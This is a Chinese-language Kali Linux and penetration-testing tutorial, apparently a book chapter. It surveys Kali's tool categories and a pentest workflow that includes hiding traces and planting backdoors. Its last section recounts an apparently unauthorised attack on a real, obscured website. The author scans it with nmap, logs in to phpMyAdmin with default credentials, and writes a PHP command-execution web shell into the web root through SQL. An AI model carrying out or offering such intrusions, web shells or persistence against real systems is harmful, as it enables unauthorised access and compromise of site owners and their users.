Kali Linux 和 渗透测试

时间:2021-12-03 17:56:00

From:http://www.anquan.us/static/drops/tips-826.html

作为一个渗透测试学习者必知必读的好书推荐:https://zhuanlan.zhihu.com/p/23561475

学长们给我们的书目:https://lorexxar.cn/2014/12/29/bookshelf1/

Kali 工具集列表(全是英文说明,如看不懂可以使用浏览器的网页翻译,全部翻译成中文):https://tools.kali.org/



Kali 简介


        如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品,从Kali开始,BackTrack将成为历史。如果您没接触过BackTrack也没关系,我们从头开始了解Kali Linux。

        按照官方的定义,Kali Linux是一个高级渗透测试和安全审计Linux发行版。作为使用者,我简单的把它理解为,一个特殊的Linux发行版,集成了精心挑选的渗透测试和安全审计的工具,供渗透测试和安全设计人员使用。也可称之为平台或者框架。作为Linux发行版,Kali Linux是在BackTrack Linux的基础上,遵循Debian开发标准,进行了完全重建。并且设计成单用户登录,root权限,默认禁用网络服务。关于系统特性,定制,在不同设备上的安装,请在Kali Linux官网:http://www.kali.org 查阅。官网上还有一份中文版的说明文档,但是我总觉得要么是自动翻译的,要么是外国人自行翻译的,读起来非常不通顺,但是仍然可作为参考,见 https://docs.kali.org 。

Kali Linux 和 渗透测试

VMware 虚拟机安装 Kali 教程

Kali Linux渗透测试实战 第一章:http://www.anquan.us/static/drops/tips-826.html


Kali中文和英文版本切换

如果安装的时候是英文版本,那么先进入All settings系统设置页面,然后选择Region&Language,进入Language选择中文(如果是切换到英文版本,只要选择English),然后注销重新登录,或者reboot重启。但是有时候中文版本有小问题,所以能看懂的还是用英文版本,看不懂再切回中文版本。


中文文档

因为本书的核心内容是渗透测试,Kali Linux只是平台,更多的关于系统本身的内容不会详细介绍。下面我们来看看Kali自带的工具集,介绍完这些工具,相信你也就了解了Kali Linux的功能。

Kali Linux 和 渗透测试

上图是安装完Kali Linux(在下一节,会简单介绍虚拟机下Kali Linux的安装和配置)系统自带的工具集。最顶层是十佳安全工具,这些工具都被包含在下面的工具分类中。

Kali Linux将所带的工具集划分为十四个大类,这些大类中,很多工具是重复出现的,因为这些工具同时具有多种功能,比如nmap既能作为信息搜集工具也能作为漏洞探测工具。其中大部分工具的使用,都会在之后的章节中做介绍和实例演示。另外,这里介绍的工具都是系统默认推荐的工具,我们也可以自行添加新的工具源,丰富工具集。根据笔者的经验,绝大多数情况下,系统推荐的工具已经足够使用了。一些专用工具,会在特定的测试场景下被引入,在后续章节中会详细说明。



信息搜集


信息搜集工具集又分为DNS分析、IDS/IPS识别、SMB分析、SMTP分析、SNMP分析、SSL分析、VoIP分析、VPN分析、存活主机识别、电话分析、服务指纹识别、流浪分析、路由分析、情报分析、系统指纹识别共15个小分类。

Kali Linux 和 渗透测试

上图是老版本的 Kali ,下图是新版本的Kali,可以看到信息搜集包含好几部分,每一部分都对应有不同的工具。

可以看到新版本 Kali 和老版本还是有区别的,有些工具新版本可能删了,或者用其他工具代替了。

Kali Linux 和 渗透测试




信息搜集工具分类


Dns分析工具

DNS分析包含dnsdict6、dnsenum等12个工具,如下图。

Kali Linux 和 渗透测试


IDS和IPS识别工具

IDS/IPS

        IDS(intrusion detection system),即入侵检测系统。是一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备。它与其他网络安全设备的不同之处便在于,IDS是一种积极主动的安全防护技术。
        IPS(Intrusion Prevention System)即入侵防御系统。IPS位于防火墙和网络的设备之间。这样,如果检测到攻击,IPS会在这种攻击扩散到网络的其它地方之前阻止这个恶意的通信。
二者的区别:
        1. 入侵检测系统注重的是网络安全状况的监管。入侵防御系统关注的是对入侵行为的控制。
        2. 入侵检测系统需要部署在网络内部的中心点,需要能够观察到所有网络数据。入侵防御系统需要部署在网络的边界。
        3. 入侵检测系统的核心价值在于通过对全网信息的分析,了解信息系统的安全状况,进而指导信息系统安全建设目标以及安全策略的确立和调整,而入侵防御系统的核心价值在于安全策略的实施—对黑客行为的阻击;入侵检测系统需要部署在网络内部,监控范围可以覆盖整个子网,包括来自外部的数据以及内部终端之间传输的数据,入侵防御系统则必须部署在网络边界,抵御来自外部的入侵,对内部攻击行为无能为力。

参考:http://security.zdnet.com.cn/security_zone/2009/0412/1362627.shtml

IDS/IPS识别包含fragrout、fragrouter、ftest、lbd、wafwOOf四个工具。

Kali Linux 和 渗透测试



smb分析

smb分析包含如下工具:

Kali Linux 和 渗透测试


smb协议

SMB简介:SMB是Server Message Block的简写,这个协议用于共享文件,共享打印机,共享串口等用途。我们之所以能够在windows的网络邻居下访问一个域内的其他机器,就是通过这个协议实现的。SMB 协议是一个很重要的协议,目前绝大多数的PC上都在运行这一协议,windows系统都充当着SMB协议的客户端和服务器,所以SMB是一个遵循客户机服/务器模式的协议。SMB服务器负责通过网络提供可用的共享资源给SMB客户机,服务器和客户机之间通过TCP/IP协议、或者IPX协议、或者是 NetBEUI进行连接。

参考:http://msdn.microsoft.com/en-us/library/cc246231.aspx


smtp分析

smtp分析包含如下工具:

Kali Linux 和 渗透测试


snmp分析

报告如下工具:

Kali Linux 和 渗透测试


SSL分析

Kali Linux 和 渗透测试


VOIP分析

VoIP分析包含如下工具:

Kali Linux 和 渗透测试

VoIP简介

VoIP是 Voice over Internet Protocol的缩写,指的是将模拟的声音讯号经过压缩与封包之后,以数据封包的形式在IP 网络的环境进行语音讯号的传输,通俗来说也就是互联网电话、网络电话或者简称IP电话的意思。

参考资料:https://www.cisco.com/application/pdf/en/us/guest/tech/tk587/c1506/ccmigration_09186a008012dd36.pdf


VPN分析

只包含一个工具:ike-scan

Kali Linux 和 渗透测试


存活主机识别

包含的工具:

Kali Linux 和 渗透测试


服务器指纹识别

包含如下工具:

Kali Linux 和 渗透测试


流量分析

包含如下工具:

Kali Linux 和 渗透测试


路由分析

包含如下工具:

Kali Linux 和 渗透测试


情报分析

包含如下工具:

Kali Linux 和 渗透测试


网络扫描

含如下工具:

Kali Linux 和 渗透测试


系统指纹识别

包含如下工具:

Kali Linux 和 渗透测试

指纹识别:

在实际的生产环境中,应用程序返回的软件、服务器、操作系统的相关信息,很有可能是伪装过的。比如请求一台apathe服务器,如果它在http响应中返回的是IIS 6.0的信息,如果我们简单的认为它是iis服务器,并以此为依据继续接下来的渗透工作,岂不是南辕北辙?指纹识别技术应运而生,向测试对方发送特殊的请求,根据响应内容的不同来做出正确的识别,这种技术称之为指纹识别技术。常用的操作系统指纹识别技术为IP协议栈。

链接http://nmap.org/book/osdetect-fingerprint-format.html是Nmap操作系统指纹识别的基本原理



漏洞分析

Kali Linux 和 渗透测试


漏洞分析工具集

漏洞分析工具集,共分为6个小类,分别为Cisco工具集、Fuzzing工具集、OpenVAS、开源评估软件、扫描工具集、数据库评估软件。


Cisco工具集

包含如下工具:

Kali Linux 和 渗透测试


Fuzzing工具集

包含如下工具:

Kali Linux 和 渗透测试

Fuzzing

模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion)失败,以发现可能的程序错误,比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。

模糊测试工具主要分为两类,变异测试(mutation-based)以及生成测试(generation-based)。模糊测试可以被用作白盒,灰盒或黑盒测试。3文件格式与网络协议是最常见的测试目标,但任何程序输入都可以作为测试对象。常见的输入有环境变量,鼠标和键盘事件以及API调用序列。甚至一些通常不被考虑成输入的对象也可以被测试,比如数据库中的数据或共享内存。

参考:https://www.owasp.org/index.php/Fuzzing


OpenVAS 

包含如下工具:

Kali Linux 和 渗透测试

OpenVAS

OpenVAS是一款开放式的漏洞评估工具,主要用来检测目标网络或主机的安全性。与安全焦点的X-Scan工具类似,OpenVAS系统也采用了Nessus较早版本的一些开放插件。OpenVAS能够基于C/S(客户端/服务器),B/S(浏览器/服务器)架构进行工作,管理员通过浏览器或者专用客户端程序来下达扫描任务,服务器端负载授权,执行扫描操作并提供扫描结果。

参考:http://www.openvas.org/


开源评估软件

包含如下工具:

Kali Linux 和 渗透测试


扫描工具集

包含如下工具:

Kali Linux 和 渗透测试


Database 评估软件

包含如下工具:

Kali Linux 和 渗透测试



Web程序


Web程序下主要包含CMS识别、IDS/IPS识别、Web漏洞扫描、Web爬行、Web应用代理、Web应用漏洞挖掘、Web库漏洞利用共7个类别。

Kali Linux 和 渗透测试



密码攻击

密码攻击主要包括GPU工具集、Passing the Hash、离线攻击、在线攻击。

Kali Linux 和 渗透测试

Passing the Hash

Passing the Hash,中文一般翻译为Hash传递攻击。在windows系统中,系统通常不会存储用户登录密码,而是存储密码的Hash值。在我们远程登录系统的时候,实际上向远程传输的就是密码的Hash。当攻击者获取了存储在计算机上的用户名和密码的hash值 的时候,他虽然不知道密码值,但是仍然可以通过直接连接远程主机,通过传送密码的hash值来达到登录的目的。



无线攻击

无线攻击包含RFID/NFC工具集、Software Defined Radio、蓝牙工具集、其他无线工具、无线工具集。

Kali Linux 和 渗透测试

Software Defined Radio

软件无线电(Software Defined Radio,SDR)是一种实现无线通信的新概念和*。一开始应用在军事领域,在21世纪初,由于众多公司的努力,使得它已从军事领域转向民用领域,成为经济的、应用广泛的、全球通信的第三代移动通信系统的战略基础。

由于无线通信领域存在的一些问题,如多种通信体系并存,各种标准竞争激烈,频率资源紧张等,特别是无线个人通信系统的发展,使得新的系统层出不穷,产品生产周期越来越短,原有的以硬件为主的无线通信*难以适应这种局面,迫使软件无线电的概念的出现。它的出现,使无线通信的发展经历了由固定到移动,由模拟到数字,由硬件到软件的三次变革。

参考:http://zh.wikipedia.org/wiki/%E8%BD%AF%E4%BB%B6%E6%97%A0%E7%BA%BF%E7%94%B5



漏洞利用工具集


漏洞利用工具集,主要包含了几个流行的框架,和其他工具。

Kali Linux 和 渗透测试

BeEF XSS Framework,官方站点http://beefproject.com/。全称Browser Exploitation Framework,它是专注于 web浏览器的渗透测试框架。

Metasploit,官方站点http://www.metasploit.com/。著名的渗透测试框架,是渗透测试人员的必修课。



嗅探/欺骗


嗅探、欺骗 包含VoIP、Web嗅探、网络欺骗、网络嗅探、语言监控五个工具集。

Kali Linux 和 渗透测试



权限维持


权限维持包含Tunnel工具集、Web后门、系统后门三个子类。

Kali Linux 和 渗透测试

其中Tunnel工具集包含了一系列用于建立通信隧道、代理的工具。



逆向工程


逆向工程,包含了Debug工具集、反编译、其他逆向工具集三个子类。

Kali Linux 和 渗透测试



压力测试


压力测试包含VoIP压力测试、Web压力测试、网络压力测试、无线压力测试四个子类。

Kali Linux 和 渗透测试



硬件Hacking


硬件Hacking包括Android工具集、Arduino工具集两个子类。

Kali Linux 和 渗透测试



数字取证


数字取证工具集包含PDF取证工具集、反数字取证、密码取证工具集、内存取证工具集、取证分割工具集、取证分析工具集、取证哈希验证工具集、取证镜像工具集、杀毒取证工具集、数字取证、数字取证套件。

Kali Linux 和 渗透测试



报告工具集


报告工具集,主要用于生成、读取、整理渗透测试报告的工具,包含Domentation、媒体捕捉、证据管理。

Kali Linux 和 渗透测试



系统服务


系统服务是系统上的服务程序,包括BeFF、Dradis、HTTP、Metasploit、MySQL、OpenVas、SSH。

默认情况下,网络和数据库服务是关闭的,需要重新开启。

Kali Linux 和 渗透测试




小结:上面对Kali Linux的默认工具集进行的了大致的浏览,由于本书只关注于渗透测试,对逆向工程、压力测试、硬件Hacking、数字取证这些工具不会涉及。



渗透测试的一般化流程


渗透测试实战 site:baidu.com
渗透测试思路 site:baidu.com

带你入门渗透测试的5个项目:https://www.jianshu.com/p/5b82e42ae346
渗透测试的一些总结:http://www.freebuf.com/articles/3562.html

网站渗透测试原理及详细过程:http://blog.csdn.net/kingmax54212008/article/details/11833059


凡事预则立,不预则废,做任何事情都要有一个预先的计划。渗透测试作为测试学科的一个分支,早已形成了完整的方法论。在正式开始本书的实践教学章节之前,我也想谈一谈使用Kali Linux的基本方法。这里讨论方法论的目的有两个:

第一,在第一节里,我们看到Kali Linux集成了这么多工具,而且更令人欣喜的是已经对这些工具进行了专业的分类。这些工具的使用场景和使用阶段是什么样的呢?把工具拿来胡乱一顿扫描是不会有什么结果的。

第二,本书的章节规划,也需要一个规范,这个规范是我从渗透测试方法论中学来的,并进行了简化,称之为“渗透测试的一般化流程”。

当然本节内容不会长篇大论,也不适用于企业内部的专业的渗透测试团队来遵循。只是希望给初学渗透测试的同学一个入门的指引,有章可循,有法可依。只是学习本书的基本练习流程,不是标准的测试流程。

下面这这张图是《backtrack4 利用渗透测试保证系统安全》一书的Backtrack方法论。

Kali Linux 和 渗透测试

它将渗透测试分成了十个步骤,其中第6步“社会工程学”为可选步骤,但是笔者认为社会工程学在渗透测试的任何一个流程中都有用武之地,它是安全测试的一个方法,不应该成为一个单独的流程。在本书中,我们将整个过程划分为5个步骤。


信息搜集

在练习过程中,选择目标的过程,读者自行完成。在讲解具体漏洞攻击的章节中,还会讲解一些如何快速查找特定目标的方法。本书假定读者已经准备好了测试目标才阅读和实践书中内容,所以流程的第一步为信息搜集。

在这一步中,我们尽可能的使用多种信息搜集工具,包括搜索引擎和社会工程学方法。对能收集到的信息,来者不拒。
只有建立在足够信息分析的基础上,渗透测试才能游刃有余。因为信息越多,发现漏洞的几率越大。
同时对不同应用的信息收集的侧重点也不同。比如web应用和桌面应用,对于web应用,服务器操作系统、web服务器类型、web后台语言会被首先关注;而对于桌面应用,更多的是关心应用程序本身。


发现漏洞

在搜集了足够的信息之后,首先我们要判断它会存在哪些漏洞。这可以通过搜索引擎,和通用的漏洞扫描工具来完成。通常使用搜索引擎是明智的选择,比如我们在第一步中知道对方站点的编写语言为php 5.3.*,可以在google搜索“php 5.3”漏洞。

Kali Linux 和 渗透测试

很多专业的bug站点的信息,更值得我们驻足。这样我们就可以针对性的进行漏洞扫描。此时使用专门的漏洞扫描工具比通用工具来得更实际和高效。


攻击

基本上,你能得到的漏洞,都可以找到对应的攻击方法。Kali Linux中也提供了很多现成的工具,来帮助我们顺利的攻击目标。

这一步包含两个方面,一个是利用现有漏洞利用,一个是提权。二者有时候是一回事,比如权限漏洞。
渗透测试和以破坏为目的的黑客行为还是有区别的,测试的目的是证明漏洞的存在,而不是搞破坏。所以有时候攻击成功之后可能测试任务就结束了,当然这和测试目标是紧密相关的。
攻击还包含一个重要的内容,就是如何隐藏攻击行为或者清除攻击痕迹。让对方无法或者说很难通过反追踪技术查找到攻击者。


权限维持

权限维持阶段,是我们成功攻破一个系统后,如何继续保持对系统的控制权限的问题。

一般会创建高权限的隐藏账户,或者安装后门程序(包括木马,病毒)。


文档化

文档化不是本书的强制流程,但是笔者强烈建议我们对每次渗透测试的过程和结果进行文档化处理。这样会形成知识的积累。当然如果你是专业的渗透测试工程师或者手上有渗透测试的项目,那么标准化文档是必不可少的。



小试牛刀之Web渗透测试


给大家展示一个渗透测试的简单示例。该示例操作简单,环境真实,主要是为了给您一个整体上的感知,同时提升学习渗透测试的兴趣。渗透测试的每一步并没有记录完整的细节信息。

首先,我选择了一个测试站点,下面对该站点www.xxxxoooo.cn,下面对其进行渗透测试。


信息搜集

whois查询

因为是cn域名,直接到http://ewhois.cnnic.net.cn查询,更方便。

结果如下:

Kali Linux 和 渗透测试


服务指纹识别

很多个人站点,都没有自定义错误信息的习惯。在url上随便输入一个不存在的地址,看是否会返回有用的信息。

Kali Linux 和 渗透测试

通过上图,我们知道该站点的应用程序由php编写,web服务器为Apathe/2.2.22,操作系统为Ubuntu。下面我们通过指纹识别工具,进行识别。

在终端启动nmap,输入如下命令:nmap -A -T4 www.xxxxoooo.cn

Kali Linux 和 渗透测试

如图,识别出来的服务和系统信息与报错信息一致。


端口扫描

在终端执行如下命令,使用nmap的tcp半开扫描方式来扫描打开的端口。命令:nmap -sS <targetiste>

Kali Linux 和 渗透测试


综合性扫描

该站点是需要登录的,所以在非登录情况下,常规扫描一般情况下意义不大。但是做一个基本的站点扫描还是必须的。当然很多工具是支持登录扫描的。因为是web应用,一般情况下,我们是需要进行完整的web应用的漏洞扫描的。本实例忽略此步骤。


发现漏洞

对于web应用,我们通常从操作系统、服务、应用本身三个方面来挖掘漏洞。

从站点应用上分析,一般的php程序会安装phpmyadmin组件,用来管理数据库。google一下,我们就会知道phpmyadmin 默认安装在站点根目录下。测试一下当前站点是否也在默认目录下安装了phpmyadmin呢?

Kali Linux 和 渗透测试

ok,确实存在phpmyadmin。继续google “phpmyadmin 默认用户名密码”。Googele之后,我们知道:“phpMyAdmin默认使用的是MySQL的帐户和密码”。MySql的默认账户是root,默认密码是空,但是phpmyadmin是不允许空密码的。继续 Google“inurl: phpmyadmin”,可以看到很多关于phpmyadmin的文章。


Kali Linux 和 渗透测试

Kali Linux 和 渗透测试

这些文章略过,google“hack phpmyadmin”,看看有什么发现?

在这篇文章《Hacking PHPMyadmin (when import.php deleted)》

https://www.facebook.com/learnadvhacking/posts/556247631077238)中,我注意到

Kali Linux 和 渗透测试

很多站点都配置默认密码为root。是不是也可以尝试下呢?输入用户名root,密码root,奇迹就这么出现了,直接登录管理后台。

Kali Linux 和 渗透测试

进入后台之后,我们得到了更为详尽的信息,为我们下一步攻击打下了基础


攻击与权限维持

上面的步骤,我们完成了对网站数据库的攻击,其实拿到了网站数据库,就是拿到了整个网站的控制权。

如何利用phpmyadmin进行提权,从而得到服务器的控制权呢?
目前在phpmyadmin后台,我们可以操作表,向表中写数据,如果数据库有权限dump数据到web站点所在的文件夹,那么可以先将一个网马写到数据库再保存到磁盘本地,再从浏览器访问网马,是不是就可以了呢?
首先在phpmyadmin后台找到一个数据库,在“SQL”选项卡执行sql语句创建一个表“hacker”。

Kali Linux 和 渗透测试

语句执行成功后,再插入一条数据,代码很简单,希望能用php的system函数执行系统指令。

INSERT INTO hacker (packet)

VALUES(
'<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>'  
); 

下一步就是保存插入的记录到站点目录下,但是站点的物理路径是什么呢?我在观察页面请求链接的时候,发现一个404链接。

Kali Linux 和 渗透测试

404链接的路径是http://www.xxxxx.cn/var/www/productions/22_production.zip。这个是进行网站开发时候常犯的静态链接的错误,那是不是说网站的根目录在”/var/www”下呢,我把去掉”/var/www”,文件可以被正常访问。其实这也是ubuntu默认的站点目录。接下来就试试有没有权限保存文件了。

经过一番查找,终于找到一个有写权限的目录,将网马写到web目录中,得到了webshell,接下来就不用详解了吧。


小结:这个简单的小例子,只是想告诉大家,渗透测试有什么并没有那么困难。也没有哪种方法,哪个工具或者平台是万能的,最重要的是你自己的努力和思考。


为您推荐了适合您的技术文章:

  1. Kali Nethunter初体验
  2. Javascript缓存投毒学习与实战
  3. metasploit渗透测试笔记(内网渗透篇)
  4. 劫持SSH会话注入端口转发